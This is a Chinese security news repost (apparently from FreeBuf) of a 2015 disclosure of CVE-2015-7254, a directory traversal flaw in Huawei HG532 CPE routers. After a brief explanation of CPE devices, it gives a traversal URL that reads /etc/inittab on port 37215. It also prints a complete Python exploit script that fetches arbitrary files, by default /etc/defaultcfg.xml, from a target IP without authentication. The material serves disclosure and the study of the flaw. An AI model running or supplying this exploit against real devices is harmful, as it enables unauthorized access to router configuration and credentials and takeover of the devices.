CPE是什么
CPE是一种将高速4G信号转换成平板电脑、智能手机、笔记本等移动终端通用的WiFi信号的设备,可同时支持多部终端上网,大小相当于一本书,在有4G信号覆盖的地方,插上电源就能使用,不必拉网线,使用和携带都很方便。
CPE的AP功能、路由器性能更强,可同时接平板电脑、智能手机、笔记本等移动终端几十个同时使用。具有较完整的用户认证功能及计费功能。
作者:Roberto Paleari ( @rpaleari) and Aristide Fattori ( @joystick )
日期:2015/11/06
CVE编号:CVE-2015-7254
向互联网开放网络端口(TCP / 37215,测试设备)的华为CPE模块存在目录遍历漏洞,37215端口是华为CPE设备的UPnP服务端口。
通过利用这一漏洞,远程攻击者可以不经验证访问设备的任何本地文件,黑客可以通过这一漏洞控制存在漏洞的设备。
详细来说,Web服务器被设计为无需身份验证就可以远程访问/icon/文件夹,然而这里提供的路径并不会检查目录遍历的尝试,导致攻击者可以用 ../ 访问任何本地文件。
举个栗子:设备的/etc/inittab本地文件可以通过以下网址访问到:
http://<target IP>:37215/icon/../../../etc/inittab
<target IP>是存在漏洞设备的IP地址
我们确认华为以下型号的设备将受到影响:
HG532e HG532n HG532s 其它型号的设备也很可能存在这一漏洞,但没有对它们进行测试
""" Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick) """ import logging import sys import urllib2 DEFAULT_HEADERS = {"User-Agent": "Mozilla", } DEFAULT_TIMEOUT = 5 def fetch_url(url): global DEFAULT_HEADERS, DEFAULT_TIMEOUT request = urllib2.Request(url, headers=DEFAULT_HEADERS) try: data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read() except Exception, e: logging.error("Exception: %s", e) data = None return data def exploit(ip, path): url = "http://%s:37215/icon/../../../%s" % (ip, path) data = fetch_url(url) return data def main(): targetip = sys.argv[1] if len(sys.argv) > 2: path = sys.argv[2].strip() else: path = "/etc/defaultcfg.xml" assert path.startswith("/"), "An absolute path is required" data = exploit(targetip, path) if data is None: logging.error("Exploit failed") exit(-1) # Successful print data if __name__ == "__main__": main()
* GitHub 编译/0xroot,内容有所删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)